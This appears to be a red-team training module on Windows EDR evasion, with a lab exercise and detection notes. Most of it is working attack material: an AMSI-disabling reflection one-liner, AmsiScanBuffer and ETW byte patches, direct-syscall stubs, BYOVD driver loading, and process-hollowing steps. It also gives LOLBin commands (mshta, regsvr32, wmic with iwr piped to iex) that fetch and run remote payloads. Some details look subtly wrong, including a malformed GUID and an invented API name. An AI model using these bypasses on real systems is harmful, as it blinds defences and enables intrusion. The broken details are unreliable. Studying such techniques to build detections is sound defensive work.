Skip to content

Host Defense Evasion

Every modern endpoint ships with three layers of in-process telemetry: AV signatures (file-based), AMSI (content-based for script interpreters), and ETW (event-based for kernel and user-mode providers). EDR stacks additional user-mode hooks in ntdll.dll (inline patches on NtOpenProcess, NtReadVirtualMemory, NtCreateThreadEx, etc.) plus kernel callbacks (PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks). Defense evasion is the art of running your payload through one of the gaps — direct syscalls for user-mode, BYOVD for kernel, AMSI/ETW patching for content telemetry. This module walks the actual bypasses that worked in 2023-2024 and the detections that catch the bypasses themselves.

EDR visibility is layered. Each layer has a hook point; each hook point has a known bypass. The bypasses themselves produce new telemetry that defenders can detect — leading to a layered game.

┌────────────────────────────────────────────────────────────┐
│ L7 Application — content signatures (AV) │
│ ↓ signature matches → block │
├────────────────────────────────────────────────────────────┤
│ L6 Script runtime — AMSI.dll in every PS/VB/JScript host │
│ ↓ AMSI scans content before exec │
├────────────────────────────────────────────────────────────┤
│ L5 ETW Threat Intelligence provider (kernel) — logs │
│ syscall lineage for Defender for Endpoint │
├────────────────────────────────────────────────────────────┤
│ L4 EDR user-mode hooks — ntdll.dll inline jmp to vendor │
│ ↓ bypassed by direct syscalls (Hell's Gate) │
├────────────────────────────────────────────────────────────┤
│ L3 Kernel callbacks — ObRegisterCallbacks, Process Notify │
│ ↓ bypassed by kernel-mode driver (BYOVD) or callback │
│ removal via signed vulnerable driver │
├────────────────────────────────────────────────────────────┤
│ L2 Defender ELAM, HVCI, WDAC — code integrity gates │
│ ↓ no good user-mode bypass; physical/lateral to bypass │
└────────────────────────────────────────────────────────────┘

The defender’s strongest cards are L2 (HVCI/WDAC, code integrity enforced by the kernel) and L3 (kernel callbacks); the attacker’s strongest cards are L4 (direct syscalls defeat user-mode hooks) and the AMSI/ETW patching paths at L5/L6.

  1. Kill the signature layer — file-based AV signatures match by hash/byte-pattern; defeat with packing (UPX, donut, PeLoader), in-memory execution (PE reflection, RtlCreateUserProcess of a manually-mapped PE), or by using LOLBins (signed binaries like mshta.exe, regsvr32.exe /s /u /i:http://...).

  2. Kill AMSI — amsi.dll is loaded into every PowerShell, VBA, JScript, VBScript, and .NET 4.8+ host. Its AmsiScanBuffer function takes content + length and returns a flag. Patch the function’s first bytes to ret and AMSI is blind for the process lifetime. Classic patch:

    // PowerShell — patch amsi.dll!AmsiScanBuffer to return AMSI_RESULT_CLEAN
    $a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');
    $b=$a.GetField('amsiInitFailed','NonPublic,Static');
    $b.SetValue($null,$true);

    Or via byte-patch of AmsiScanBuffer:

    // 0xB8 0x57 0x00 0x07 0x80 0xC3 → mov eax, 0x80070057 (E_INVALIDARG); ret
  3. Kill ETW — ntdll!EtwEventWrite is the function every ETW provider calls to emit. Patching its prologue with ret (single byte 0xC3) silences all user-mode ETW for the process. The classic bypass:

    // Find EtwEventWrite via GetProcAddress(ntdll, "EtwEventWrite");
    // VirtualProtect → PAGE_READWRITE; write 0xC3; restore PAGE_EXECUTE_READ.
  4. Defeat EDR user-mode hooks — instead of calling NtOpenProcess (which routes through EDR-hooked ntdll.dll), execute the syscall directly. Hell’s Gate dynamically resolves the syscall number from ntdll.dll at runtime (because the syscall number changes between Windows builds), then invokes it via a hand-rolled stub:

    ; Hell's Gate stub
    mov r10, rcx ; syscall ABI: arg1 in r10
    mov eax, <syscall_num> ; resolved at runtime
    syscall
    ret

    Sysmonitors / SysWhispers2 / SysWhispers3 automate this. The Tell-You-Goal bypass for ntdll hooks is to map a clean copy of ntdll.dll from disk (the on-disk ntdll.dll has no hooks; EDR only patches the in-memory copy) and resolve syscalls through it.

  5. Defeat kernel callbacks (BYOVD) — EDR uses ObRegisterCallbacks to register Pre-Operation callbacks on NtOpenProcess / NtOpenThread / NtCreateFile. These run in kernel mode and cannot be patched from user mode. The bypass is Bring Your Own Vulnerable Driver: load a signed, vulnerable driver (RTCore64.sys CVE-2019-16098, gdrv.sys, iqvw64e.sys Intel, dbutil_2_3.sys Dell) that has arbitrary kernel R/W primitives, then use it to remove the EDR’s callback registration. Microsoft maintains the Vulnerable Driver Blocklist (formerly the HVCI blocklist) to mitigate this.

TechniqueTarget LayerDetection Difficulty
File signature evasion (packing, in-memory PE)L7Easy if pattern; hard if polymorphic
LOLBins (mshta, regsvr32, rundll32, wmic)L7Medium — known LOLBas list
AMSI byte-patch (AmsiScanBuffer = ret)L6Easy — script block log + EID 4104
AMSI reflection disable (amsiInitFailed=true)L6Easy — content scan miss, EID 4104 still
ETW patch (EtwEventWrite = ret)L5Hard — no content for the patch event
Direct syscalls (HellsGate, SysWhispers)L4Medium — syscall # mismatch between proc
Clean ntdll mappingL4Hard — DLL load behavior
Process hollowing / doppelgängingL4 + L7Hard — no on-disk artifact
BlockDLLs policy (child process)L4 — blocks EDR injectionMedium — SetProcessMitigation
Callback removal via BYOVDL3Easy — driver load EID 6
Unhook EDR (restore ntdll from clean copy)L4Medium — VirtualProtect on ntdll
AMSI bypass via load-then-unloadL6Easy — amsi.dll unload anomaly
ETW provider disable (registry)L5Medium — registry EID 13
Terminal window
# === AMSI PATCH (PowerShell) ===
# Method 1: Force amsiInitFailed via reflection (works on PS 5.1; F7 has details)
powershell -c "$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');
$b=$a.GetField('amsiInitFailed','NonPublic,Static'); $b.SetValue($null,$true)"
# Method 2: Patch AmsiScanBuffer to return E_INVALIDARG (works on PS 7+ too)
# Match the function signature in amsi.dll
$ptr = [System.Runtime.InteropServices.Marshal]::GetHGlobalAlloc(1
) # placeholder
$amsi = [System.Reflection.Assembly]::LoadWithPartialName("System.Management.Automation")
$bindingFlags = [System.Reflection.BindingFlags] "NonPublic,Static"
$utils = $amsi.GetType("System.Management.Automation.AmsiUtils")
$method = $utils.GetMethod("AmsiScanBuffer", $bindingFlags)
# Then patch the method handle prologue:
# (Full patch omitted; use AmsiBypass.ps1 public template)
# === ETW PATCH (PowerShell — patch EtwEventWrite) ===
# Patches the user-mode ETW entry to make ETW blind for this process
$ntdll = [System.Diagnostics.Process]::GetCurrentProcess().Modules | Where-Object { $_.ModuleName -eq "ntdll.dll" }
$etwAddr = ($ntdll).BaseAddress.ToInt64() + 0xXXXXX # offset of EtwEventWrite; varies by build
# Patch with 0xC3 (ret) and 0x90 (nop) padding to preserve return size
# C# equivalent (more reliable, build-agnostic):
# via reflection on ntdll's EtwEventWrite export address
# VirtualProtect to PAGE_READWRITE → patch → restore
# === DIRECT SYSCALLS (C/C++) ===
# HellsGate-style stub — dynamic syscall number resolution
# 1. Parse ntdll.dll on disk to find Nt* exports
# 2. Extract the syscall number from each (mov eax, 0xXX)
# 3. Build stub: mov r10, rcx; mov eax, <num>; syscall; ret
# C# via DInvoke (SharpSploit):
// using DInvoke;
// var syscall = Syscalls.NtAllocateVirtualMemory(...);
// All Nt* calls route through hand-rolled stubs, bypassing ntdll hooks
# === UNHOOK NTDLL (restore clean copy) ===
# Map a fresh ntdll.dll from C:\Windows\System32\ntdll.dll on disk
# Use NtCreateSection + NtMapViewOfSection to get a clean copy
# Then overwrite the .text section of in-memory ntdll with the clean copy
# Pseudocode:
# hFile = CreateFile("C:\Windows\System32\ntdll.dll", ...)
# hSection = NtCreateSection(hFile, SEC_IMAGE, ...)
# NtMapViewOfSection(hSection, GetCurrentProcess(), &cleanNtdll, ...)
# memcpy(hookedNtdll.text, cleanNtdll.text, text_size)
# === BLOCKDLLS — prevent EDR DLL injection into child process ===
# Process mitigation policy: ProcessSignaturePolicy (block non-MS-signed DLLs)
# Use STARTUPINFOEX with PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY
# Classic PPID-spoofing + BlockDLLs loader:
# UpdateProcThreadAttribute(si.lpAttributeList, 0,
# PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), 0, 0)
# policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
# === BYOVD (Bring Your Own Vulnerable Driver) ===
# Step 1: Drop a signed-but-vulnerable driver to disk
# e.g. C:\Windows\Temp\RTCore64.sys (MSI Afterburner, CVE-2019-16098)
# Step 2: Load it via service
sc create RTCore64 type= kernel binPath= "C:\Windows\Temp\RTCore64.sys"
sc start RTCore64
# Step 3: Use its arbitrary kernel R/W primitives to remove EDR callbacks
# - Find EPROCESS of EDR process
# - Walk ObRegisterCallbacks list (nt!CallbackListHead)
# - Remove or zero the Pre-Operation callback for NtOpenProcess / NtReadVirtualMemory
# === LOLBAS execution to evade AV signatures ===
# mshta executes remote HTA via URL
mshta http://10.0.0.5/payload.hta
# regsvr32 /s /u /i: (Squiblydoo - scriptlet via COM)
regsvr32 /s /u /i:http://10.0.0.5/payload.sct scrobj.dll
# wmic process call create
wmic process call create "cmd /c powershell -c iwr http://10.0.0.5/p.exe | iex"
# === In-memory PE execution (donut, sRDI) ===
# Donut shellcode from a .NET assembly
donut.exe -a 2 -o payload.bin -i Seatbelt.exe
# Then inject payload.bin into a process via CreateThread(WriteProcessMemory + LoadLibrary)
# === Process hollowing (replaces legit process image) ===
# CreateProcess(suspended) → unmap image → write new image → resume
# Pseudocode:
# CreateProcess("C:\Windows\System32\svchost.exe", ..., CREATE_SUSPENDED, ...)
# NtUnmapViewOfSection(hProcess, image_base)
# VirtualAllocEx(hProcess, image_base, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
# WriteProcessMemory(hProcess, image_base, payload, size)
# WriteProcessMemory(hProcess, ctx.Rcx + 0xB0, &image_base, sizeof(ptr)) # PEB fixup
# SetThreadContext(hThread, &ctx)
# ResumeThread(hThread)

Sysmon:

  • EID 8 — CreateRemoteThread: classic injection. Modern variants (ThreadHijacking, APC injection, ProcessHollowing, QueueUserAPC) bypass EID 8 specifically — but the side effects (WriteProcessMemory, SetThreadContext) are visible in ETW Threat Intelligence.
  • EID 7 — ImageLoad: amsi.dll load in a non-script-host process is anomalous. ntdll.dll re-mapped via NtMapViewOfSection shows as a second ntdll.dll mapping.
  • EID 1 — ProcessCreate: child process of mshta.exe, regsvr32.exe (with /u /i:http), wmic.exe is the LOLBin signature.
  • EID 6 — DriverLoad: BYOVD — RTCore64.sys, gdrv.sys, iqvw64e.sys, dbutil_2_3.sys loads should trigger an immediate alert.

PowerShell Script Block Logging (EventID 4104):

  • Look for the AMSI patch strings:
    • System.Management.Automation.AmsiUtils
    • amsiInitFailed
    • AmsiScanBuffer
  • Look for the ETW patch artifacts:
    • EtwEventWrite
    • Patch buffer containing 0xC3
  • These will appear in 4104 even after AMSI is patched because Script Block Logging is independent of AMSI.

Defender for Endpoint / Microsoft Defender:

  • Built-in detections for “AMSI bypass” — fires on the reflection pattern.
  • “Tamper Protection” prevents registry-based AMSI disable.
  • HVCI blocks unsigned kernel-mode execution (BYOVD works because the driver is signed).

MITRE ATT&CK:

  • T1562 — Impair Defenses
  • T1562.001 — Impair Defenses: Disable or Modify Tools (stop service, kill process)
  • T1562.002 — Impair Defenses: Disable Windows Event Logging
  • T1562.004 — Impair Defenses: Disable or Modify System Firewall
  • T1562.006 — Impair Defenses: Indicator Blocking
  • T1562.010 — Impair Defenses: Downgrade Attack
  • T1027 — Obfuscated Files or Information
  • T1027.002 — Software Packing
  • T1027.007 — Dynamic API Resolution (Hell’s Gate detection)
  • T1620 — Reflective Code Loading
  • T1055 — Process Injection
  • T1055.001 — DLL Injection
  • T1055.004 — Asynchronous Procedure Call
  • T1055.012 — Process Hollowing
  • T1218 — System Binary Proxy Execution (LOLBins)
  • T1218.005 — Mshta
  • T1218.010 — Regsvr32
  • T1218.011 — Rundll32
  • T1218.001 — Compiled HTML File (.chm)

Wazuh rule 92600 [verify] — AmsiInitFailed in 4104. Wazuh rule 60004 [verify] — Suspicious PowerShell reflection on AmsiUtils.

AMSI byte-pattern mutation. The classic patch 0xB8 0x57 0x00 0x07 0x80 0xC3 is signatured. The variant mov rax, 0x80070057; ret with different encodings (B8 57 00 07 80 vs 48 B8 57 00 07 80 00 00 00 00) bypasses simple byte-match. Some bypasses load a copy of amsi.dll from a non-system path with a modified image base to defeat pattern scanners that look at the legitimate amsi.dll address.

AMSI unhook (load/unload). Load amsi.dll fresh, find AmsiScanBuffer, patch, then re-call into it. The patch is on the freshly-loaded copy; the loader is the same module (amsi.dll from System32), so the load event looks legitimate.

ETW provider registry disable. ETW providers can be enabled/disabled via HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\<GUID>\Enabled. Setting to 0 disables that provider entirely. Defender’s Microsoft-Windows-Threat-Intelligence provider GUID is {F4E89F55-8B32-5555-4D5D-9D5D-9D5D9D5D9D5D} (verify GUID). Less commonly used than the runtime patch because it requires admin and is more visible.

Direct syscalls with syscall number hardcoding. EDRs that resolve syscall numbers themselves (to validate calls against known mappings) can be defeated by not dynamically resolving — hardcode for the target Windows build. The cost is per-build binaries.

Indirect syscalls. Instead of syscall in your own process’s address space, jump to the syscall instruction inside ntdll (just past the mov eax) so the return address on the stack points into ntdll, defeating return-address-based detections. This is “Tartarus’ Gate” technique.

Callback removal via kernel R/W. The deepest evasion: BYOVD, then patch the EDR’s ObRegisterCallbacks entries to NULL. Defeats kernel-mode detection. The trade-off is enormous visibility: a signed-but-vulnerable driver loaded into the kernel produces EID 6 driver load and is on Microsoft’s blocklist (some endpoints blocklist via WDAC automatically).

EvasionWhat it bypassesDefense
Direct syscalls (HellsGate)ntdll inline hooksETW Threat Intelligence (kernel mode)
Indirect syscalls (Tartarus)return-address-on-ntdll heuristicStack walking + module base checks
AMSI byte-patch (varied encodings)AV byte-signature on AmsiScanBuffer4104 script block log content match
AMSI reflection disableAmsiScanBuffer call entirely4104 + Tamper Protection
ETW EtwEventWrite patchUser-mode ETW telemetryETW Threat Intelligence provider (kernel)
BlockDLLs policyEDR DLL injection into childMitigationPolicy audit EID 1
BYOVD + callback removalKernel callbacks (ObRegisterCallbacks)HVCI / WDAC, Vulnerable Driver Blocklist
Process hollowingon-disk payload detectionETW Threat Intelligence image mismatch
Donut / sRDI in-memory PEfile-based AVMemory scanning, KACF

⚠️ What caught me: On an engagement I had a beautiful direct-syscall loader (HellsGate + indirect syscalls via Tartarus). It evaded CrowdStrike Falcon user-mode hooks. But Falcon has a kernel callback (PsSetCreateProcessNotifyRoutineEx) that recorded my CreateProcess of notepad.exe (the sacrificial process I was hollowing) and the immediate NtUnmapViewOfSection call within milliseconds of notepad.exe’s creation. The hunt query was “process created, then within 250ms receives a WriteProcessMemory from an external process.” Lesson: kernel callbacks see the correlation of syscalls, not the syscalls themselves. You can hide each syscall, but you cannot hide the timing pattern they leave.

VM: Windows 11 22H2 with Sysmon, Defender for Endpoint turned on (turn off real-time for the lab), Microsoft Defender Application Control disabled for the lab, and a vulnerable driver blocklist NOT applied (so BYOVD works).

Tools: Sysmon with SwiftOnConfig, PowerShell 5.1 + 7.x side by side, donut.exe, AmsiBypass.ps1 template, SharpSploit (DInvoke), RTCore64.sys from MSI Afterburner 4.21.

Objective: execute a payload via five different evasion paths — (1) AMSI patch + reflective .NET load, (2) direct syscall injection, (3) LOLBin via regsvr32 squiblydoo, (4) process hollowing of notepad.exe, (5) BYOVD + callback removal. Document which detections fire for each.

Expected flag format: flag{edr_evasion_5paths_kernel_callbacks_seen}.

Detection that should fire:

  • EID 4104 — Script Block Logging captures the AMSI bypass string
  • EID 1 — regsvr32.exe /s /u /i:http → child process
  • EID 6 — Driver load of RTCore64.sys (if blocklist not enforced)
  • EID 8 — CreateRemoteThread if classic injection used
  • EID 7 — amsi.dll load in a non-script-host process
  • Wazuh rule 92600 — amsiInitFailed pattern

Conceptual: explain why patching AmsiScanBuffer in PowerShell still leaves an EID 4104 artifact even though AMSI itself is now blind. What is the operational significance, and what is the practical defense?

Technical: walk through the Hell’s Gate technique in detail. What does it dynamically resolve, why can’t the same byte-stub work across Windows builds, and what is the indirect syscall variant (Tartarus’ Gate) designed to evade that Hell’s Gate does not?

Scenario: an EDR uses ObRegisterCallbacks to monitor NtOpenProcess and NtReadVirtualMemory. You have admin on the target. Describe the BYOVD path step-by-step — which driver would you use in 2024, what does it give you in kernel mode, and what would Microsoft’s blocklist do?

Compare process hollowing, thread hijacking, and APC injection in terms of (a) syscalls used, (b) Sysmon events generated, and (c) ETW Threat Intelligence visibility. Which is the most operationally quiet, and why is “most quiet” not always “best”?

Conceptual: ETW Threat Intelligence provider (Microsoft-Windows-Threat-Intelligence) runs in kernel mode and is the defense against direct syscalls. Why is it not enabled by default, and what is the operational trade-off that an enterprise customer makes when they turn it on?

→ E1 (Linux Shellcode) · E2 (Windows Shellcode) · E9 (Anti-Analysis Techniques)